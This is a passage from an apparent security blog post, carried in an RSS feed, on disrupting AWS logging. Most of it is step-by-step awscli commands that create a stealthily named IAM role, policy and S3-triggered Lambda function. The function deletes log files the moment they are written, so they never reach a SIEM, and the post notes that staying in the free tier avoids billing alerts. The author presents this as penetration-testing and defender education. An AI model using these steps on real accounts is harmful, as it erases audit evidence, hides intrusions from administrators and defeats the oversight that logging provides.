href="https://medium.com/media/2861568a541e2b20e9d2f4d6a2c866e0/href">https://medium.com/media/2861568a541e2b20e9d2f4d6a2c866e0/href</a></iframe><p>It’s unlikely this tactic will be monitored however log files will still live one day and any external ingestion of those files to a SIEM is likely to proceed unimpeded.</p><p>There’s an elephant in the room. Have you seen it? Simply deleting the log files immediately once they are written hasn’t been mentioned. That’s because AWS is awesome provides an automated mechanism infinitely better than manually deleting the files and I left it till last. Introducing AWS Lambda.</p><blockquote>AWS Lambda is a compute service where you can upload your code to AWS Lambda and the service can run the code on your behalf using AWS infrastructure. After you upload your code and create what we call a Lambda function, AWS Lambda takes care of provisioning and managing the servers that you use to run the code. You can use AWS Lambda as … an event-driven compute service where AWS Lambda runs your code in response to events, such as changes to data in an Amazon S3 bucket...</blockquote><p>Setting up a Lambda function to immediately delete anything written to an S3 bucket is a little louder and more involved than any other tactic discussed, but it’s worth it. Because the Lambda function is invoked directly by S3, it will win any race against other code attempting to consume files written to the bucket, effectively making them invisible.</p><p>To get it going, create a role that can be assumed by Lambda.</p><pre>aws iam create-role \<br> --role-name [lambda_s3_innocent_role] \<br> --assume-role-policy-document [file:///iam-assume-by-lambda.json]</pre><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/536cf528b16e5dcb3835672204186082/href">https://medium.com/media/536cf528b16e5dcb3835672204186082/href</a></iframe><p>Create a policy to attach to the role that allows Lambda to delete s3 objects and whatever else you like. You could also update an existing policy for extra stealth.</p><pre>aws iam create-policy \<br> --policy-name [lambda_s3_innocent_policy] \<br> --policy-document [file:///lambda-s3-delete-policy.json]</pre><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/95b95190b63ce945f2ebdad2360e54e7/href">https://medium.com/media/95b95190b63ce945f2ebdad2360e54e7/href</a></iframe><p>Attach the policy to the role.</p><pre>aws iam attach-role-policy \<br> --role-name [lambda_s3_innocent_role] \<br> --policy-arn arn:aws:iam::[account-id]:policy/[lambda_s3_innocent_policy]</pre><p>Create the actual Lambda python function code that will delete an s3 object passed to it every time it is invoked.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/8cee0b9ee8c5f4c1763aeab5a96e7a9f/href">https://medium.com/media/8cee0b9ee8c5f4c1763aeab5a96e7a9f/href</a></iframe><p>Compress the code and register the function.</p><pre>zip my_code.zip my_code.py</pre><pre>aws lambda create-function \<br> --region [region] \<br> --function-name [innocent_function] \<br> --zip-file [fileb:///my_code.zip] \<br> --role arn:aws:iam::[account-id]:role/[lambda_s3_innocent_role]  \<br> --handler [my_code].lambda_handler \<br> --runtime python2.7 \<br> --timeout 3 \<br> --memory-size 128 \<br> --publish</pre><p>Permit Lambda to be invoked by S3.</p><pre>aws lambda add-permission \<br> --function-name [innocent_function] \<br> --statement-id [my-guid] \<br> --principal s3.amazonaws.com \<br> --action lambda:InvokeFunction \<br> --source-arn arn:aws:s3:::[my-bucket]</pre><p>Configure the bucket to call Lambda every time it creates an object.</p><pre>aws s3api put-bucket-notification-configuration \<br> --bucket [my-bucket] \<br> --notification-configuration [file:///s3-notify-config.json]</pre><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/681f7a1827ae1fa94ecbdbab3899ca5a/href">https://medium.com/media/681f7a1827ae1fa94ecbdbab3899ca5a/href</a></iframe><p>Easy, right? Kind of, maybe, at least? There’s more good news though.</p><blockquote>The Lambda free tier includes 1M free requests per month and 400,000 GB-seconds of compute time per month.</blockquote><p>Unusual billing patterns tip off administrators more often than people would like to admit but this tactic combined with the Lambda free tier conveniently avoids those awkward moments.</p><p>This article was written under the assumption you have access to an AWS API key or role with some reasonably broad permissions and an up-to-date installed <a href="http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html">awscli</a>.</p><p>More importantly, it was written to enlighten AWS account administrators and improve legitimate penetration testing TTPs. In fact, as I wrote this article engineers at my workplace implemented mitigations and test for gaps this work identified. Regardless, let’s not fool ourselves, our foes are orders of magnitude smarter than me and probably also know what “orders of magnitude” means precisely. Help?</p><p>Go forth and conquer.</p><p>—</p><p>Want to learn to hack AWS? I offer immersive online and in-person training to corporate teams at <a href="https://hackaws.cloud/">hackaws.cloud</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a42e437d6594" width="1" height="1" alt=""><hr><p><a href="https://medium.com/daniel-grzelak/disrupting-aws-logging-a42e437d6594">Disrupting AWS logging</a> was originally published in <a href="https://medium.com/daniel-grzelak">HackAWS.cloud</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>